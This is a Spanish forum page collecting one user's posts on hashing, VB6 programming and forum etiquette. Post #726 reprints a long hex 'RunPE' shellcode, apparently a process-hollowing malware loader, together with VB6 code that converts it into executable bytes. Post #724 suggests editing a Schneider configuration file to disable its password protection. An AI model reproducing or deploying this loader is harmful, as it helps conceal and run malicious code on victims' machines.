Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Serapis

#721
Cita de: marax en 22 Enero 2021, 13:06 PM
Es imposible deducir con certeza cual fue, entre las posibles entradas que resultan en el hash 9, la que lo produjo en ese instante, pero, ¿A quien le importa ese instante?
Justamente importa a quien debe procesar que el resultado generado/recibido en ese instante coincide con el almacenado. Luego claro que importa.

... de todos modos, eres tu el que dijo eso de: "Creo que totalmente es posible descifrar un mensaje utilizando el mismo algoritmo ... lo aplico a algoritmos de reduccion como hashes (por ejemplo, MD5)"

Cita de: marax en 22 Enero 2021, 13:06 PM
Curiosamente, 99999999999992, es la menor cantidad posible que resulta en un hash "9".
No. El menor es simplemente 9.
Una cualidad intrínseca a los hashes, es que no se sabe el tamaño de origen, podría ser 1 byte, 100 millones o cualquier tamaño intermedio...

Cita de: marax en 22 Enero 2021, 13:06 PM
99999999999992 produce el mismo hash que 12345678903648327523634954. ¿Que importa, entonces, 12345678903648327523634954?
Cualquier múltiplo de 9 genera el mismo hash... era importante hacerte notar la infinitud de colisiones para que entiendas que el problema radica en la indecibilidad de reconocer cual fue el origen. Si te pongo de ejemplo un algoritmo cuya dificultad en hallar colisiones es complicado, flaco favor haría al caso...

En principio hablas de un modo genérico al señalar los algoritmos de hashes, sin embargo al llegar a este punto, parece más bien que te ciñas (en exclusivo) a los referidos específicamente a los algoritmos de hashes sobre criptografía. Hay muchas cosas que se podrían decir, pero no pretendo extenderme demasiado, tan solo unos puntos.

A - Utilizar hashes en crudo, no es buena idea, precisamente porque pueden ser alterados mediante las técnicas Mitm. Si no que suelen llevar otras alteraciones/añadidos, por ejemplo aplicando un simple algoritmo de Luhn al hash (que añade un simple byte al final), no te bastaría incluso en el supuesto caso de que pudieras generar colisiones para un hash, un simple byte podría suponer que tendrías que generar entre 1 y 256 colisiones idénticas (128 de promedio). Como dicho hash se aplica calculando el texto de origen (también es un hash, de hecho es el primer algoritmo de Hash, pues fue Peter Luhn recisamente el que inicialmente sugirió tales técnicas), no vendrá a coincidir con lo tuyo, con tu dato ficticio para generar la colisión al aplicársele el algoritmo (o si, 1 entre 256 posibilidades).

B - Aunque un programa calcule un hash más o menos simple, se supone que será cifrado antes del envío, luego técnicamente tampoco tienes modo de saber (a priori) dicho hash. Luego sin tal conocimiento un intento de hallar colisiones carece de sentido.

C - Cuando se diseña un algoritmo para hashes, una de las principlaes cualidades buscadas es intentar evitar colisiones todo lo posible, ahora bien, dado que el caso trata del campo de Galois, reducirlo a otro más pequeño, sí o sí tiene que haber colisiones, entonces se miran algunas cualidades:
---- Que la dispersión sea lo mas uniforme posible.
---- Que no haya acumulaciones.
---- Que el tamaño de reducción contenga todavía el mayor amplio abanico de posibilidades (si el rango M-N tiene que ser reducido a uno más pequeño X-Y, cuanto más grande sea el rango X-Y, tanto más difícil será que se produzcan colisiones si las dos propiedades previas se dan.
Por eso mismo, los algoritmos de hashes con el tiempo se deshechan y/o modifican (evolucionan) (ejemplo: MD2, Md3, MD4, Md5...)para cubrir posibles fallos o simplemente para aumentar el rango de valores que generan 128 bits (16 bytes), 256, 384, 512, etc...

D - Cuando diseñas una tabla Hash (por ejemplo), una de las cosas que debes hacer obligadamente (si eres celoso de tu trabajo), es verificar precisamente las cualidades del hash, para asegurarte que es óptimo en todos los sentidos. La eficiencia de una tabla Hash se vería comprometida si las colisiones estuvieran fuera de control. Además cuando por ejemplo añades o buscan un ítem, no basta con calcular su hash, para identificarlo unívocamente (y no ser confundido con otra coslisión), debe luego ser comparado byte a byte el valor entrado con el almacenado (si ya existe). Lueg no creas que simplemente 'viaja' un hash sin el resto de datos (cifrados convenientemente), en tales casos el hash hace más bien una doble labor de servir para la búsqueda y verificar que los datos son los que son (y no otros).

E - En ciertos algoritmos, tampoco las colisiones son deseables, solo restan eficiencia en cuanto al tiempo de operación, peor no hay afectacion alguna en cuanto a 'seguridad'. Por ejemplo el algoritmo KarpRabin, es un algortimo de búsqueda que utiliza hashes incrementales. Los hashes se crean, consumen y destruyen internamente basado en los datos recibidos para la búsqueda (por ejemplo una sección de una imagen o de un texto), luego no hay materia de seguridad que vaya a quedar comprometida.

Z - Por último, señalarte que tu afirmacion dubitativa de: "Creo que totalmente es posible descifrar un mensaje utilizando el mismo algoritmo ... lo aplico a algoritmos de reduccion como hashes (por ejemplo, MD5)", está en oposición directa a uno de los pilares básicos de la criptografía, que reza que la fuerza de un algoritmo criptográfico no debe recaer en el propio algoritmo (esa es la razón primera y principal por la que no hay necesidad de ocultar el funcionamiento del algoritmo), si no basado en las propias matemáticas.

...y con lo de "...lo aplico a algoritmos...", no me queda claro si esa 'aplicacion', se refiere a tu creencia (supongo que sí, porque de lo contrario el 'creo' sobraría), con lo que quiero decir es que no conviene usar la palabra aplicación (así en presente), cuando no pasa del terreno de las ideas, déajlo para cuando hagas algo tangible.

Cita de: marax en 22 Enero 2021, 13:06 PM
http://serbal.pntic.mec.es/~cmunoz11/nietdomingo.html
https://es.wikipedia.org/wiki/Colisi%C3%B3n_(hash)
Me pregunto quienes en la escuela se aprendieron el minimo comun multiplo, me pregunto tambien quienes entendieron el minimo comun multiplo.
Creo que el foro donde uno puede expresar su opinión básicamente es el 'foro libre', en el resto de secciones, la opinión importa poco y el peso recáe en el conocimiento, no en el creo, me parece, me dijeron, leí... Es decir si la intención es aprender, es mejor abstenerse de ciertos comentarios que no aportan nada.
#722
Cita de: [D]aniel en 21 Enero 2021, 21:30 PM
Hola, un consejo, no uses break, eso se considera romper de fuerza bruta un loop, es mejor utilizar semáforos.
Concuerdo en que no es elegante, pero si aparece en la especificación del lenguaje, creo que no hay que apuntar a ningún culpable más que a los desarrolladores del mismo lenguaje.

Resulta cuanto menos estúpido, decir: "tomad esto es lo que teneis con este lenguaje" y luego acabar diciendo "no useis esto...". Es más fácil rediseñar la especificación para dar cabida a la solución sin 'molestar'.
#723
Cita de: marax en 20 Enero 2021, 19:36 PM
No soy matematico...

Lo que digo lo aplico a algoritmos de reduccion como hashes (por ejemplo, MD5), y
Con la primera afirmación y rematando con la segunda se entiende que sigas ese camino, pero es erróneo....

Los algoritmos de resumen a diferencia del cifrado son irreversibles.

Te voy a poner un simple ejemplo de una función diseñada solo para esta explicación:

funcion resumen nombre: B0B0
Descripción: Suma todos sus dígitos y lo modula con 10.
Ejemplo: sea el contenido a tratar esto: 12345678903648327523634954
- Aplicando la primera parte del algoritmo descrito...: 1+2+3+4+ ...9+5+4 =119 (si no he sumado mal)
- Aplicando la segunda parte del algoritmo descrito: hash = 109 modulo 10
- Hash obtenido: = 9

Bien, ahora explícame como obtienes el contenido original solo con el hash ("9") y la descripción del algoritmo... será interesante saber qué pasa por tu mente, a ver como haces una formula igual de simple e inversa (pués más simple que este algoritmo B0B0, no te lo vas a encontrar). Si solucionas éste, te garantizo que el resto también tienen solución.

p.d.:
Cita de: marax en 20 Enero 2021, 19:36 PM
Creo que es totalmente posible descifrar un mensaje utilizando el mismo algoritmo
Las matemáticas, se pueden permitir el lujo de 'creer' durante un tiempo, pero al final (para convencer al resto) exige demostración sí o sí.
#724
Criptografía / Re: Cifrado Schneider
21 Enero 2021, 00:27 AM
Has probado al menos a cambiar los valores???, por ejemplo estos:

Citar<ApplicationProtection>
      <Active>false</Active>
      <Password></Password>
      <DownloadActive>true</DownloadActive>
      <DownloadPassword></DownloadPassword>
    </ApplicationProtection>
(guarda copia del fichero original y opera sobre una copia, renombrado y ubicado como y donde el original).

Lo más razonable es que sea un hash, y los hashes no son reversibles. Con fuerza bruta, a lo más que puedas llegar es a localizar una colisión y que por tanto funcione (aunque te llevaría mucho tiempo).
Ahora bien, si son 2 hashes (que es lo que me da la impresion) distintos aplicados a la misma cotraseña, entonces la posibilidad de localizar una colisión se eleva al cuadrado (el producto de encontrar una colisión en ambos algoritmos).
Es decir sería el resultado de esto:
    hash = AlgHash1(pwd) + AlgHash2(pwd)

Con info del fabricante podrías tal vez al menos saber que algoritmos se han usado, sin más datos es disparar a ciegas.
#725
Hardware / Re: Duda sobre boton
21 Enero 2021, 00:14 AM
De cierto no te puedo decir...
...pero lo típico es que donde hay un botón POWER, junto a los respectivos leds de "Power" y "HDD", se acompaña de un botón "Reset" con su correspondiente led.

Si conservas el manual, muy probleblemente lo aclare.
#726
Cita de: nosequenosenada date=1610938951
Amigo gracias por tus respuestas lo  aprecio un monton de verdad, pero el segundo comentario sobre modificar el runpe sinceramente no lo entendi, si bien mis conocomientos de programacion son  pocos, pero lo que quiero en este caso tener en una sola linea la shellcode esa que esta dividida, si me das una mano te lo super agradezco
Hola.
De entrada, mencionarte que no proceden los mensajes privados. Estos se limitan a cosas que no interesa a nadie más, pero nada de tu mensaje reúne esa condición. Simplemente puedes responder aquí y yo (o cualquiera) puede responderte cuando le venga bien.

Creo haber satisfecho tus dudas (básicamente se trata de remplazar los datos dle ejemplo, por lo que interesa), sin embargo supongo que tu falta de comprensión se deberá a tu limitación en cuanto al conocimiento del lenguaje.

Me cuesta entender como teniendo lagunas severas, nadie se aventura a escribir programas, pués al final un pograma así, no tiene garantías no ya de calidad, sino de... en fin, tampoco es que me importe, pues cada uno va a lo suyo, aunque me parece de perogrullo y por eso recomiendo aprender a andar antes de pretender correr...

Por esta que es tu segunda vez, se te dará el pez, pero la idea es enseñar a pescar y que cada uno pierda su tiempo pescando, y no que los demás pesquen para ti.


Código (vb) [Seleccionar]

Private Sub Form_Load()
   Dim b_ASM() As Byte       ' OJO: Si la matriz es dinámica puede asignarse arbitrariamente si es estática, debe usarse un bucle para asignar cada elemento individualmente.

   b_ASM = GetBytesFromASM
   '... lo que tengas que hacer con dicho array
   
   ' ejemplo:
   Debug.Print "el array contiene " & CStr(UBound(b_ASM) + 1) & " bytes."
   For k = 0 To 31
       Debug.Print "El carácter: " & Chr$(b_ASM(k)) & " es el byte: "; b_ASM(k)
   Next
End Sub


Private Function GetBytesFromASM() As Byte()
   Dim s_ASM(7) As String

   s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
   s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
   s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
   s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
   s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
   s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
   s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
   s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"

   GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode)
End Function


La salida del ejemplo genera este valor (para verificar que es correcto).

(nota: 322 * 8 = 2576 bytes).
Citar
el array contiene 2576 bytes.
El carácter: 6 es el byte:  54
El carácter: 0 es el byte:  48
El carácter: E es el byte:  69
El carácter: 8 es el byte:  56
El carácter: 4 es el byte:  52
El carácter: E es el byte:  69
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: B es el byte:  66
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: 5 es el byte:  53
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 7 es el byte:  55
El carácter: 2 es el byte:  50
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: E es el byte:  69
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48
El carácter: 6 es el byte:  54
El carácter: 5 es el byte:  53
El carácter: 0 es el byte:  48
El carácter: 0 es el byte:  48

La duda que yo tengo, sobre el caso, es que tienes valores hexadecimales.
2 caracteres hexadecimales son 1 byte, y dudo que tu array deba contener 1 byte con cada dígito... así que finalmente tendría que usar un bucle, ya que aunque VB6 puede convertir string a array de bytes (y vuceversa), lo que no hace es reconocer si tu string en realidad es un literal de un conjunto de valores hexadecimales.

Código (vb) [Seleccionar]
 
Private Function GetBytesFromASM() As Byte()
   Dim s_ASM(7) As String, strHex As String

   s_ASM(0) = "60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F030000"
   s_ASM(1) = "6A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200"
   s_ASM(2) = "008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200"
   s_ASM(3) = "008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A"
   s_ASM(4) = "2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F4000000"
   s_ASM(5) = "8B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E8"
   s_ASM(6) = "4F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404"
   s_ASM(7) = "FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000"

   'GetBytesFromASM = StrConv(Join(s_ASM, ""), vbFromUnicode) ' cambiamos la conversion de VB
   GetBytesFromASM = StringHexToByteArray(Join(s_ASM, "")) ' por la nuestra...
End Function

' Convierte un string hexadecimal a un array de bytes.
'   OJO: No revisa irregularidades (strhex nulo, tamaño impar, letras A-F en minúsculas, la aparición de otros caracteres distintos de 0-9, A-F)...
Private Function StringHexToByteArray(ByRef strHex As String) As Byte()
   Dim k As Long, j As Long, ix As Long, U As Byte, D As Byte
   Dim bHex() As Byte

   j = Len(strHex)
   
   ReDim bHex(0 To (j \ 2) - 1)
   For k = 1 To j Step 2
       U = Asc(Mid$(strHex, k, 1))
       If (U < 65) Then            ' 0-9 (48-57) --> 0-9
           U = (U - 48)
       Else
           U = (U - 55)            ' A-F (65-70) --> 10-15
       End If
       
       D = Asc(Mid$(strHex, k + 1, 1))
       If (D < 65) Then            ' 0-9 (48-57) --> 0-9
           D = (D - 48)
       Else
           D = (D - 55)            ' A-F (65-70) --> 10-15
       End If
       
       bHex(ix) = ((U * 16) + D)
       ix = (ix + 1)
   Next
   
   StringHexToByteArray = bHex
End Function


probando con esta línea:
Código (vb) [Seleccionar]
Private Sub Form_Load()
  ' imprime en la ventana 'inmediato', una cadena hexadecimal, convertida a array de bytes y luego convertida de nuevo a string...
   debug.print  strconv( StringHexToByteArray("484F4C41"),vbunicode)
end sub

el resultado devuelto es:
HOLA


p.d.: Nota que tu debes saber si está línea es así:
bHex(ix) = ((U * 16) + D)
o asi:
bHex(ix) = ((D * 16) + U)
Es decir el orden de los dígitos del valor hex, debe conformarse de acuerdo a como fueron consignados.
#727
Está bien en principio desconfiar, para asegurarse... no por sistema.

https://comunidad.movistar.es/t5/Soporte-M%C3%B3vil/Cierre-Proxy/m-p/4186249#M232356
#728
Para unir un array de textos en un string, tienes la funcion Join. Para una cadena vacía como separador si no han de ser divididos más adelante.
Luego tienes la función StrConv para diferentes tipos de conversión a o desde string/array de bytes.

Consulta la ayuda de vb6 si lo precisas, es muy completa.
Código (vb) [Seleccionar]

    dim x(0 to 2) as string, s as string
    dim y() as byte
    dim k as integer

    x(0) = "Buenos días"
    x(1) = "tengan"
    x(2) = "ustedes"

    msgbox join(x, " ")

    y = strconv(join(x," . "),vbfromunicode)
    for k= 0 to ubound(y)
        debug.print chr$(y(k)),
    next

    msgbox strconv(y,vbunicode)
#729
Cita de: nosequenosenada en 16 Enero 2021, 06:58 AM
... contu ejemplo use shell para llamar al vbs  y me tira error en lo que seria la ruta, tenes idea que puede ser?
Si, claro.
La sentencia 'now', da la fecha de 'ahora', lo que incluye loe separadores de los campos de fecha y hora, que deben reemplazarse, por ejemplo por un guión...

...como es un código al vuelo, es normal que se escape un detalle.
#730
Hacking / Re: Hacer ataque DDoS a un amigo
16 Enero 2021, 02:16 AM
Cita de: simorg en 15 Enero 2021, 17:37 PM
@Xyzed
El abusar de "center", en la exposición de un post es engorrosa de leer, habra a quien le guste pero particularmente es un coñazo leer el post.

Solo es mi opinión.
También la mía. Sobretodo cuando la anchura del párrafo es excesiva, si se limita a no más de 40 caracteres por línea la cosa es algo distinta.

...ya me encontré con otro mensaje igual (fatal de leer) y opté por no leerlo... pero ojo, solo el texto, las imágenes no importa la alineación que le dés.